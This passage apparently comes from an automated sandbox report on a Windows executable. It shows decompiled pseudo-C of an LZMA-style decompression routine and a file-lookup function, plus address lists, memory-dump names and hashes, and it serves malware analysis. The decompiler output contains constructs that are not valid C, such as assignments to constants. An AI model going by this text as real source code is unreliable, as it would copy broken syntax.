							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004061d4
0x004061d4
0x004061d9
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x00000000
0x004068b3
0x004061db
0x004061db
0x004061df
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x00406200
0x00406207
0x0040620a
0x00406215
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406224
0x00406242
0x00406244
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406469
0x0040646c
0x0040640f
0x00406415
0x00000000
0x00000000
0x00000000
0x0040646e
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x0040640c
0x00000000
0x0040640c
0x00406226
0x00406226
0x00406229
0x0040622f
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406318
0x0040631b
0x00406292
0x00406292
0x00406298
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x004063a5
0x004063a8
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406348
0x00406348
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063b3
0x004063b3
0x004063b6
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x0040657f
0x0040657f
0x00406582
0x00406582
0x00000000
0x00406582
0x004062a4
0x00000000
0x00000000
0x00000000
0x00406321
0x0040626d
0x00406271
0x004069de
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628f
0x00000000
0x0040628f
0x0040631b
0x00406224
0x00406058
0x00406058
0x00406061
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00000000
0x0040683d
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x00000000
0x004069b0
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00000000
0x00406805
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction ID: bc715f9ab80968e75e2fbed037c5f1c5951903de2449374fee89636cff417fa3
Opcode Fuzzy Hash: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction Fuzzy Hash: 52F18571D00229CBCF28DFA8C8946ADBBB1FF45305F25816ED856BB281D3785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E93, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E93(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x422588); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x422588;
			}

0x00405e9e
0x00405ea7
0x00000000
0x00405eb4
0x00405eaa
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,00422588,00421940,004057AF,00421940,00421940,00000000,00421940,00421940,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405E9E
FindClose.KERNEL32(00000000), ref: 00405EAA

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction ID: 22d16aeb20e1d117df59da4f29a20059377f8c00669f4036672bdba2b414caf9
Opcode Fuzzy Hash: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction Fuzzy Hash: 95D0123190D520ABD7015738BD0C84B7A59DB553323508F32B465F53E0C7788D928AEA

Uniqueness

Uniqueness Score: -1.00%

Function 004035EB, Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004035EB(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
